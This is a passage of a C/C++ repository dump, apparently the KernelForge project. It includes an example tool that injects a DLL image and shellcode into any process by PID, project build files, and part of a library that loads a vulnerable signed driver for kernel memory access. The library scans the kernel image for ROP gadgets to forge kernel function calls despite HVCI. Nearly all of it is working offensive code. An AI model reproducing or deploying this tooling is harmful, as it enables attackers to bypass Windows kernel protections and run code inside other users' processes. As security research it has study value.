26 | DbgMsg(__FILE__, __LINE__, "DLL inject shellcode size is %d bytes\n", dwInjectStructSize);
27 |
28 | PDLL_INJECT_STRUCT InjectStruct = (PDLL_INJECT_STRUCT)M_ALLOC(dwInjectStructSize);
29 | if (InjectStruct == NULL)
30 | {
31 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n\n", GetLastError());
32 | goto _end;
33 | }
34 |
35 | CopyMemory(InjectStruct->Shellcode, &dll_inject_Entry, dwShellcodeSize);
36 |
37 | CLIENT_ID ClientId;
38 | OBJECT_ATTRIBUTES ObjAttr;
39 |
40 | ImageSize = dwImageSize;
41 | InjectStructSize = dwInjectStructSize;
42 |
43 | InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
44 |
45 | ClientId.UniqueProcess = ProcessId;
46 | ClientId.UniqueThread = NULL;
47 |
48 | PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle
49 | KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess
50 | KF_ARG(&ObjAttr), // ObjectAttributes
51 | KF_ARG(&ClientId) }; // ClientId
52 |
53 | // open the target process
54 | if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status)))
55 | {
56 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
57 | goto _end;
58 | }
59 |
60 | if (NT_ERROR(Status))
61 | {
62 | DbgMsg(__FILE__, __LINE__, "ZwOpenProcess() ERROR 0x%.8x\n", Status);
63 | goto _end;
64 | }
65 |
66 | PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle
67 | KF_ARG(&ImageAddr), // BaseAddress
68 | KF_ARG(0), // ZeroBits
69 | KF_ARG(&ImageSize), // RegionSize
70 | KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
71 | KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
72 |
73 | // allocate memory for the DLL image
74 | if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status)))
75 | {
76 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
77 | goto _end;
78 | }
79 |
80 | if (NT_ERROR(Status))
81 | {
82 | DbgMsg(__FILE__, __LINE__, "ZwAllocateVirtualMemory() ERROR 0x%.8x\n", Status);
83 | goto _end;
84 | }
85 |
86 | DbgMsg(__FILE__, __LINE__, "DLL image memory was allocated at "IFMT"\n", ImageAddr);
87 |
88 | // relocate DLL image file to the new base address
89 | if (!LdrProcessRelocs(Image, ImageAddr))
90 | {
91 | DbgMsg(__FILE__, __LINE__, "ERROR: LdrProcessRelocs() fails\n");
92 | goto _end;
93 | }
94 |
95 | // set proper size once again, ZwAllocateVirtualMemory() may round it
96 | ImageSize = dwImageSize;
97 |
98 | PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle
99 | KF_ARG(ImageAddr), // BaseAddress
100 | KF_ARG(Image), // Buffer
101 | KF_ARG(ImageSize), // NumberOfBytesToWrite
102 | KF_ARG(NULL) }; // NumberOfBytesWritten
103 |
104 | // write DLL image into the process memory
105 | if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status)))
106 | {
107 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
108 | goto _end;
109 | }
110 |
111 | if (NT_ERROR(Status))
112 | {
113 | DbgMsg(__FILE__, __LINE__, "ZwWriteVirtualMemory() ERROR 0x%.8x\n", Status);
114 | goto _end;
115 | }
116 |
117 | PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle
118 | KF_ARG(&ShellcodeAddr), // BaseAddress
119 | KF_ARG(0), // ZeroBits
120 | KF_ARG(&InjectStructSize), // RegionSize
121 | KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
122 | KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
123 |
124 | // allocate memory for the shellcode
125 | if (!KfCall("ZwAllocateVirtualMemory", Args_4, 6, KF_RET(&Status)))
126 | {
127 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
128 | goto _end;
129 | }
130 |
131 | if (NT_ERROR(Status))
132 | {
133 | DbgMsg(__FILE__, __LINE__, "ZwAllocateVirtualMemory() ERROR 0x%.8x\n", Status);
134 | goto _end;
135 | }
136 |
137 | DbgMsg(__FILE__, __LINE__, "Shellcode memory was allocated at "IFMT"\n", ShellcodeAddr);
138 |
139 | // set proper size once again, ZwAllocateVirtualMemory() may round it
140 | InjectStructSize = dwInjectStructSize;
141 | InjectStruct->ModuleBase = ImageAddr;
142 |
143 | PVOID Args_5[] = { KF_ARG(hProcess), // ProcessHandle
144 | KF_ARG(ShellcodeAddr), // BaseAddress
145 | KF_ARG(InjectStruct), // Buffer
146 | KF_ARG(InjectStructSize), // NumberOfBytesToWrite
147 | KF_ARG(NULL) }; // NumberOfBytesWritten
148 |
149 | // write shellcode into the process memory
150 | if (!KfCall("ZwWriteVirtualMemory", Args_5, 5, KF_RET(&Status)))
151 | {
152 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
153 | goto _end;
154 | }
155 |
156 | if (NT_ERROR(Status))
157 | {
158 | DbgMsg(__FILE__, __LINE__, "ZwWriteVirtualMemory() ERROR 0x%.8x\n", Status);
159 | goto _end;
160 | }
161 |
162 | PVOID StartAddress = RVATOVA(ShellcodeAddr, FIELD_OFFSET(DLL_INJECT_STRUCT, Shellcode));
163 |
164 | PVOID Args_6[] = { KF_ARG(hProcess), // ProcessHandle
165 | KF_ARG(NULL), // SecurityDescriptor
166 | KF_ARG(FALSE), // CreateSuspended
167 | KF_ARG(0), // StackZeroBits
168 | KF_ARG(NULL), // StackReserved
169 | KF_ARG(NULL), // StackCommit
170 | KF_ARG(StartAddress), // StartAddress
171 | KF_ARG(ShellcodeAddr), // StartParameter
172 | KF_ARG(&hThread), // ThreadHandle
173 | KF_ARG(&ClientId) }; // ClientId
174 |
175 | // create new thread to execute DLL load shellcode
176 | if (!KfCall("RtlCreateUserThread", Args_6, 10, KF_RET(&Status)))
177 | {
178 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
179 | goto _end;
180 | }
181 |
182 | if (NT_ERROR(Status))
183 | {
184 | DbgMsg(__FILE__, __LINE__, "RtlCreateUserThread() ERROR 0x%.8x\n", Status);
185 | goto _end;
186 | }
187 |
188 | if (hThread)
189 | {
190 | PVOID Args[] = { KF_ARG(hThread) };
191 |
192 | // close created thread handle
193 | if (KfCall("ZwClose", Args, 1, KF_RET(&Status)))
194 | {
195 | if (NT_ERROR(Status))
196 | {
197 | DbgMsg(__FILE__, __LINE__, "ZwClose() ERROR 0x%.8x\n", Status);
198 | }
199 | }
200 | else
201 | {
202 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
203 | }
204 | }
205 |
206 | bRet = TRUE;
207 |
208 | _end:
209 |
210 | if (hProcess)
211 | {
212 | PVOID Args[] = { KF_ARG(hProcess) };
213 |
214 | // close target process handle
215 | if (KfCall("ZwClose", Args, 1, KF_RET(&Status)))
216 | {
217 | if (NT_ERROR(Status))
218 | {
219 | DbgMsg(__FILE__, __LINE__, "ZwClose() ERROR 0x%.8x\n", Status);
220 | }
221 | }
222 | else
223 | {
224 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
225 | }
226 | }
227 |
228 | if (NT_ERROR(Status))
229 | {
230 | // perform cleanup on error
231 | if (ShellcodeAddr)
232 | {
233 | PVOID Args[] = { KF_ARG(hProcess), // ProcessHandle
234 | KF_ARG(&ShellcodeAddr), // BaseAddress
235 | KF_ARG(&InjectStructSize), // RegionSize
236 | KF_ARG(MEM_RELEASE) }; // FreeType
237 |
238 | // free shellcode memory
239 | if (KfCall("ZwFreeVirtualMemory", Args, 4, KF_RET(&Status)))
240 | {
241 | if (NT_ERROR(Status))
242 | {
243 | DbgMsg(__FILE__, __LINE__, "ZwFreeVirtualMemory() ERROR 0x%.8x\n", Status);
244 | }
245 | }
246 | else
247 | {
248 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
249 | }
250 | }
251 |
252 | if (ImageAddr)
253 | {
254 | PVOID Args[] = { KF_ARG(hProcess), // ProcessHandle
255 | KF_ARG(&ImageAddr), // BaseAddress
256 | KF_ARG(&ImageSize), // RegionSize
257 | KF_ARG(MEM_RELEASE) }; // FreeType
258 |
259 | // free DLL image memory
260 | if (KfCall("ZwFreeVirtualMemory", Args, 4, KF_RET(&Status)))
261 | {
262 | if (NT_ERROR(Status))
263 | {
264 | DbgMsg(__FILE__, __LINE__, "ZwFreeVirtualMemory() ERROR 0x%.8x\n", Status);
265 | }
266 | }
267 | else
268 | {
269 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
270 | }
271 | }
272 | }
273 |
274 | if (InjectStruct)
275 | {
276 | M_FREE(InjectStruct);
277 | }
278 |
279 | if (Image)
280 | {
281 | M_FREE(Image);
282 | }
283 |
284 | return bRet;
285 | }
286 | //--------------------------------------------------------------------------------------
287 | int _tmain(int argc, _TCHAR* argv[])
288 | {
289 | int Ret = -1;
290 |
291 | if (argc < 3)
292 | {
293 | printf("USAGE: kforge_example.exe \n");
294 | return -1;
295 | }
296 |
297 | HANDLE ProcessId = 0;
298 | char *lpszPath = argv[2];
299 |
300 | // read target process id
301 | if (!StrToIntEx(argv[1], 0, (int *)&ProcessId))
302 | {
303 | DbgMsg(__FILE__, __LINE__, "ERROR: Invalid PID\n");
304 | return -1;
305 | }
306 |
307 | DbgMsg(__FILE__, __LINE__, "Target process PID = %I64d\n", ProcessId);
308 |
309 | PVOID Data = NULL;
310 | DWORD dwDataSize = 0;
311 |
312 | // read DLL image file contents
313 | if (!ReadFromFile(lpszPath, &Data, &dwDataSize))
314 | {
315 | DbgMsg(__FILE__, __LINE__, "ERROR: Can't read DLL image file\n");
316 | return -1;
317 | }
318 |
319 | DbgMsg(__FILE__, __LINE__, "%d bytes of DLL image read from %s\n", dwDataSize, lpszPath);
320 |
321 | // initialize kernel forge library
322 | if (KfInit())
323 | {
324 | // perform DLL injection
325 | if (DllInject(ProcessId, Data, dwDataSize))
326 | {
327 | DbgMsg(__FILE__, __LINE__, "DLL was successfully injected!\n");
328 |
329 | Ret = 0;
330 | }
331 | else
332 | {
333 | DbgMsg(__FILE__, __LINE__, "ERROR: DllInject() fails\n");
334 | }
335 |
336 | // uninitialize the library
337 | KfUninit();
338 | }
339 |
340 | M_FREE(Data);
341 |
342 | return Ret;
343 | }
344 | //--------------------------------------------------------------------------------------
345 | // EoF
346 |
--------------------------------------------------------------------------------
/kforge_example/kforge_example.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}
15 | Win32Proj
16 | kforge_example
17 |
18 |
19 |
20 | Application
21 | true
22 | v120
23 | MultiByte
24 |
25 |
26 | Application
27 | false
28 | v120
29 | true
30 | MultiByte
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | false
44 |
45 |
46 | false
47 |
48 |
49 |
50 |
51 |
52 | Level3
53 | Disabled
54 | WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
55 | MultiThreadedDebug
56 | $(SolutionDir);$(ProjectDir)
57 | /D DBG %(AdditionalOptions)
58 | true
59 | Default
60 | false
61 |
62 |
63 | Console
64 | true
65 | $(SolutionDir)$(TargetName)$(TargetExt)
66 | $(SolutionDir)$(TargetName).pdb
67 | ..\kforge_driver.lib;..\kforge_library.lib;shlwapi.lib;%(AdditionalDependencies)
68 | RequireAdministrator
69 | /ORDER:@func_order.txt %(AdditionalOptions)
70 |
71 |
72 |
73 |
74 | Level3
75 |
76 |
77 | MaxSpeed
78 | true
79 | true
80 | WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
81 | $(SolutionDir);$(ProjectDir)
82 | /D DBG %(AdditionalOptions)
83 | MultiThreaded
84 | false
85 |
86 |
87 | Console
88 | true
89 | true
90 | true
91 | $(SolutionDir)$(TargetName).pdb
92 | $(SolutionDir)$(TargetName)$(TargetExt)
93 | ..\kforge_driver.lib;..\kforge_library.lib;shlwapi.lib;%(AdditionalDependencies)
94 | RequireAdministrator
95 | /ORDER:@func_order.txt %(AdditionalOptions)
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
--------------------------------------------------------------------------------
/kforge_example/kforge_example.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {038edea2-18f0-4bf7-9ac2-06360787398b}
18 |
19 |
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files\common
29 |
30 |
31 | Header Files\common
32 |
33 |
34 | Header Files\common
35 |
36 |
37 | Header Files\common
38 |
39 |
40 | Header Files
41 |
42 |
43 | Header Files
44 |
45 |
46 | Header Files\common
47 |
48 |
49 | Header Files
50 |
51 |
52 |
53 |
54 | Source Files
55 |
56 |
57 | Source Files
58 |
59 |
60 | Source Files
61 |
62 |
63 |
--------------------------------------------------------------------------------
/kforge_example/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // kforge.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/kforge_example/stdafx.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #pragma warning(disable: 4200)
3 | #pragma warning(disable: 4996)
4 |
5 | #include "targetver.h"
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | #include
12 | #include
13 | #include
14 |
15 | #include "common/ntdll_defs.h"
16 | #include "common/ntdll_undocnt.h"
17 | #include "common/common.h"
18 | #include "common/debug.h"
19 | #include "common/peimage.h"
20 |
21 | #include "include/kforge_library.h"
22 |
23 | #include "dll_inject_shellcode.h"
24 |
--------------------------------------------------------------------------------
/kforge_example/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/kforge_library.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge_library.lib
--------------------------------------------------------------------------------
/kforge_library/kforge_library.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 |
3 | // StackBase and KernelStack field offset
4 | #define KTHREAD_StackBase 0x38
5 | #define KTHREAD_KernelStack 0x58
6 |
7 | // magic exit code for DummyThread()
8 | #define THREAD_EXIT_CODE 0x1337
9 |
10 | static BOOL m_bInitialized = FALSE;
11 |
12 | // kernel image name and memory location
13 | static DWORD m_dwKernelSize = 0;
14 | static DWORD_PTR m_KernelAddr = NULL;
15 |
16 | // userland copy of the kernel image
17 | static PVOID m_KernelImage = NULL;
18 | static DWORD m_dwKernelImageSize = NULL;
19 |
20 | // mandatory function
21 | static PVOID m_ZwTerminateThread = NULL;
22 |
23 | // ROP gadgets used to forge function calls
24 | static PVOID m_RopAddr_1 = NULL, m_RopAddr_2 = NULL;
25 | static PVOID m_RopAddr_3 = NULL, m_RopAddr_4 = NULL, m_RopAddr_5 = NULL;
26 | //--------------------------------------------------------------------------------------
27 | static BOOL MemReadPtr(PVOID Addr, PVOID *Value)
28 | {
29 | // read single pointer from virtual memory address
30 | return DriverMemRead(Addr, Value, sizeof(PVOID));
31 | }
32 |
33 | static BOOL MemWritePtr(PVOID Addr, PVOID Value)
34 | {
35 | // write single pointer at virtual memory address
36 | return DriverMemWrite(Addr, &Value, sizeof(PVOID));
37 | }
38 | //--------------------------------------------------------------------------------------
39 | static BOOL MatchSign(PUCHAR Data, PUCHAR Sign, int Size)
40 | {
41 | for (int i = 0; i < Size; i += 1)
42 | {
43 | if (Sign[i] == 0xff)
44 | {
45 | // 0xff means to match any value
46 | continue;
47 | }
48 |
49 | if (Sign[i] != Data[i])
50 | {
51 | // not matched
52 | return FALSE;
53 | }
54 | }
55 |
56 | return TRUE;
57 | }
58 | //--------------------------------------------------------------------------------------
59 | static BOOL KfGetKernelImageInfo(PVOID *pImageAddress, PDWORD pdwImageSize, char *lpszName)
60 | {
61 | // query loaded kernel modules information
62 | PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSystemInformation(SystemModuleInformation);
63 | if (Info && Info->NumberOfModules > 0)
64 | {
65 | // kernel usually goes first: this might be not very reliable, idk
66 | PRTL_PROCESS_MODULE_INFORMATION Module = &Info->Modules[0];
67 |
68 | // return image load address and size
69 | *pImageAddress = Module->ImageBase;
70 | *pdwImageSize = Module->ImageSize;
71 |
72 | // get kernel file name from NT path
73 | strcpy_s(lpszName, MAX_PATH, (char *)(Module->FullPathName + Module->OffsetToFileName));
74 |
75 | M_FREE(Info);
76 |
77 | return TRUE;
78 | }
79 |
80 | return FALSE;
81 | }
82 | //--------------------------------------------------------------------------------------
83 | BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet)
84 | {
85 | // get ntdll image address
86 | HMODULE hImage = GetModuleHandle("ntdll.dll");
87 | if (hImage == NULL)
88 | {
89 | return FALSE;
90 | }
91 |
92 | // get syscall stub address
93 | PUCHAR Addr = (PUCHAR)GetProcAddress(hImage, lpszProcName);
94 | if (Addr == NULL)
95 | {
96 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find %s()\n", lpszProcName);
97 | return FALSE;
98 | }
99 |
100 | // check for mov eax, imm32 instruction
101 | if (*(Addr + 3) == 0xb8)
102 | {
103 | // return instruction argument, syscall number
104 | *pdwRet = *(PDWORD)(Addr + 4);
105 | return TRUE;
106 | }
107 | else
108 | {
109 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unexpected code for %s()\n", lpszProcName);
110 | }
111 |
112 | return FALSE;
113 | }
114 | //--------------------------------------------------------------------------------------
115 | PVOID KfGetKernelProcAddress(char *lpszProcName)
116 | {
117 | if (m_KernelImage == NULL || m_KernelAddr == NULL)
118 | {
119 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
120 | return FALSE;
121 | }
122 |
123 | // get RVA of the target function
124 | DWORD Offset = LdrGetProcAddress(m_KernelImage, lpszProcName);
125 | if (Offset != 0)
126 | {
127 | // return an actual address of the target function
128 | return RVATOVA(m_KernelAddr, Offset);
129 | }
130 |
131 | return NULL;
132 | }
133 | //--------------------------------------------------------------------------------------
134 | PVOID KfGetKernelZwProcAddress(char *lpszProcName)
135 | {
136 | PVOID Addr = NULL;
137 | DWORD dwSyscallNumber = 0;
138 |
139 | if (m_KernelImage == NULL || m_KernelAddr == NULL)
140 | {
141 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
142 | return FALSE;
143 | }
144 |
145 | // get target function syscall number
146 | if (!KfGetSyscallNumber(lpszProcName, &dwSyscallNumber))
147 | {
148 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: KfGetSyscallNumber() fails\n");
149 | return NULL;
150 | }
151 |
152 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
153 | RVATOVA(m_KernelImage, ((PIMAGE_DOS_HEADER)m_KernelImage)->e_lfanew);
154 |
155 | PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)
156 | RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader);
157 |
158 | for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1)
159 | {
160 | // check for the code sectin
161 | if ((pSection->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 &&
162 | (pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0)
163 | {
164 | for (DWORD n = 0; n < pSection->Misc.VirtualSize - 0x100; n += 1)
165 | {
166 | DWORD Ptr = pSection->VirtualAddress + n;
167 |
168 | /*
169 | Signature of Zw stub to call system calls from kernel drivers.
170 | */
171 | UCHAR Sign[] = "\x48\x8B\xC4" // mov rax, rsp
172 | "\xFA" // cli
173 | "\x48\x83\xEC\x10" // sub rsp, 10h
174 | "\x50" // push rax
175 | "\x9C" // pushfq
176 | "\x6A\x10" // push 10h
177 | "\x48\x8D\x05\xFF\xFF\xFF\xFF" // lea rax, KiServiceLinkage
178 | "\x50" // push rax
179 | "\xB8\x00\x00\x00\x00" // mov eax, XXXXXXXX
180 | "\xE9\xFF\xFF\xFF\xFF"; // jmp KiServiceInternal
181 |
182 | *(PDWORD)(Sign + 0x15) = dwSyscallNumber;
183 |
184 | // match the signature
185 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign, sizeof(Sign)-1))
186 | {
187 | // calculate an actual kernel address
188 | Addr = RVATOVA(m_KernelAddr, Ptr);
189 | }
190 | }
191 | }
192 |
193 | pSection += 1;
194 | }
195 |
196 | return Addr;
197 | }
198 | //--------------------------------------------------------------------------------------
199 | BOOL KfInit(void)
200 | {
201 | char szKernelName[MAX_PATH], szKernelPath[MAX_PATH];
202 |
203 | if (m_bInitialized)
204 | {
205 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Already initialized\n");
206 | return TRUE;
207 | }
208 |
209 | GET_NATIVE(RtlGetVersion);
210 |
211 | if (f_RtlGetVersion == NULL)
212 | {
213 | DbgMsg(__FILE__, __LINE__, "ERROR: Unable to obtain needed functions\n");
214 | return FALSE;
215 | }
216 |
217 | RTL_OSVERSIONINFOW VersionInfo;
218 | VersionInfo.dwOSVersionInfoSize = sizeof(VersionInfo);
219 |
220 | if (NT_ERROR(f_RtlGetVersion(&VersionInfo)))
221 | {
222 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: RtlGetVersion() fails\n");
223 | return FALSE;
224 | }
225 |
226 | // check for the proper NT version
227 | if (!(VersionInfo.dwMajorVersion == 10 && VersionInfo.dwBuildNumber >= 1709))
228 | {
229 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Unsupported NT version\n");
230 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Well, maybe it's actually supported but it has "
231 | "no HVCI so there's no sense to use this project\n");
232 | return FALSE;
233 | }
234 |
235 | DbgMsg(
236 | __FILE__, __LINE__, "NT version: %d.%d.%d\n",
237 | VersionInfo.dwMajorVersion, VersionInfo.dwMinorVersion, VersionInfo.dwBuildNumber
238 | );
239 |
240 | // load loldriver
241 | if (!DriverInit())
242 | {
243 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInit() fails\n");
244 | goto _end;
245 | }
246 |
247 | // get kernel address
248 | if (!KfGetKernelImageInfo((PVOID *)&m_KernelAddr, &m_dwKernelSize, szKernelName))
249 | {
250 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetKernelImageInfo() fails\n");
251 | goto _end;
252 | }
253 |
254 | DbgMsg(__FILE__, __LINE__, "Kernel is at "IFMT", image size is 0x%x\n", m_KernelAddr, m_dwKernelSize);
255 |
256 | GetSystemDirectory(szKernelPath, MAX_PATH);
257 | strcat_s(szKernelPath, "\\");
258 | strcat_s(szKernelPath, szKernelName);
259 |
260 | PVOID Data = NULL;
261 | DWORD dwDataSize = 0;
262 |
263 | if (ReadFromFile(szKernelPath, &Data, &dwDataSize))
264 | {
265 | // load kernel image into the userland
266 | if (LdrMapImage(Data, dwDataSize, &m_KernelImage, &m_dwKernelImageSize))
267 | {
268 | // relocate kernel image to its actual address
269 | LdrProcessRelocs(m_KernelImage, (PVOID)m_KernelAddr);
270 | }
271 | else
272 | {
273 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LdrMapImage() fails\n");
274 | }
275 |
276 | M_FREE(Data);
277 | }
278 | else
279 | {
280 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ReadFromFile() fails\n");
281 | goto _end;
282 | }
283 |
284 | if (m_KernelImage == NULL)
285 | {
286 | goto _end;
287 | }
288 |
289 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
290 | RVATOVA(m_KernelImage, ((PIMAGE_DOS_HEADER)m_KernelImage)->e_lfanew);
291 |
292 | PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)
293 | RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader);
294 |
295 | for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1)
296 | {
297 | // check for the code sectin
298 | if ((pSection->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 &&
299 | (pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0)
300 | {
301 | for (DWORD n = 0; n < pSection->Misc.VirtualSize - 0x100; n += 1)
302 | {
303 | DWORD Ptr = pSection->VirtualAddress + n;
304 |
305 | /*
306 | Signature of nt!_guard_retpoline_exit_indirect_rax() used as
307 | ROP gadget to control function argument registers
308 | */
309 | UCHAR Sign_1[] = "\x48\x8b\x44\x24\x20" // mov rax, [rsp+0x20]
310 | "\x48\x8b\x4c\x24\x28" // mov rcx, [rsp+0x28]
311 | "\x48\x8b\x54\x24\x30" // mov rdx, [rsp+0x30]
312 | "\x4c\x8b\x44\x24\x38" // mov r8, [rsp+0x38]
313 | "\x4c\x8b\x4c\x24\x40" // mov r9, [rsp+0x40]
314 | "\x48\x83\xC4\x48" // add rsp, 48h
315 | "\x48\xFF\xE0"; // jmp rax
316 |
317 | // match the signature
318 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_1, sizeof(Sign_1)-1))
319 | {
320 | // calculate an actual kernel address
321 | m_RopAddr_1 = RVATOVA(m_KernelAddr, Ptr);
322 | }
323 |
324 | /*
325 | ROP gadget used to reserve an extra space for the stack arguments
326 | */
327 | UCHAR Sign_2[] = "\x48\x83\xC4\x68" // add rsp, 68h
328 | "\xC3"; // retn
329 |
330 | // match the signature
331 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_2, sizeof(Sign_2)-1))
332 | {
333 | // calculate an actual kernel address
334 | m_RopAddr_2 = RVATOVA(m_KernelAddr, Ptr);
335 | }
336 |
337 | /*
338 | RCX control ROP gadget to use in pair with the next one
339 | */
340 | UCHAR Sign_3[] = "\x59" // pop rcx
341 | "\xC3"; // retn
342 |
343 | // match the signature
344 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_3, sizeof(Sign_3)-1))
345 | {
346 | // calculate an actual kernel address
347 | m_RopAddr_3 = RVATOVA(m_KernelAddr, Ptr);
348 | }
349 |
350 | /*
351 | ROP gadget used to save forged functoin call return value
352 | */
353 | UCHAR Sign_4[] = "\x48\x89\x01" // mov [rcx], rax
354 | "\xC3"; // retn
355 |
356 | // match the signature
357 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_4, sizeof(Sign_4)-1))
358 | {
359 | // calculate an actual kernel address
360 | m_RopAddr_4 = RVATOVA(m_KernelAddr, Ptr);
361 |
362 | // dummy dagdet for stack alignment
363 | m_RopAddr_5 = RVATOVA(m_KernelAddr, Ptr + 3);
364 | }
365 | }
366 | }
367 |
368 | pSection += 1;
369 | }
370 |
371 | if (m_RopAddr_1 == NULL || m_RopAddr_2 == NULL ||
372 | m_RopAddr_3 == NULL || m_RopAddr_4 == NULL || m_RopAddr_5 == NULL)
373 | {
374 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find needed ROP gadgets\n");
375 | goto _end;
376 | }
377 |
378 | DbgMsg(__FILE__, __LINE__, "ROP gadget #1 is at "IFMT"\n", m_RopAddr_1);
379 | DbgMsg(__FILE__, __LINE__, "ROP gadget #2 is at "IFMT"\n", m_RopAddr_2);
380 | DbgMsg(__FILE__, __LINE__, "ROP gadget #3 is at "IFMT"\n", m_RopAddr_3);
381 | DbgMsg(__FILE__, __LINE__, "ROP gadget #4 is at "IFMT"\n", m_RopAddr_4);
382 | DbgMsg(__FILE__, __LINE__, "ROP gadget #5 is at "IFMT"\n", m_RopAddr_5);
383 |
384 | /*
385 | Get address of nt!ZwTerminateThread(), we need this function
386 | to gracefully shutdown our dummy thread with fucked up kernel stack
387 | */
388 | if ((m_ZwTerminateThread = KfGetKernelZwProcAddress("ZwTerminateThread")) == NULL)
389 | {
390 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find nt!ZwTerminateThread() address\n");
391 | goto _end;
392 | }
393 |
394 | DbgMsg(__FILE__, __LINE__, "nt!ZwTerminateThread() is at "IFMT"\n", m_ZwTerminateThread);
395 |
396 | m_bInitialized = TRUE;
397 |
398 | _end:
399 |
400 | if (!m_bInitialized)
401 | {
402 | if (m_KernelImage)
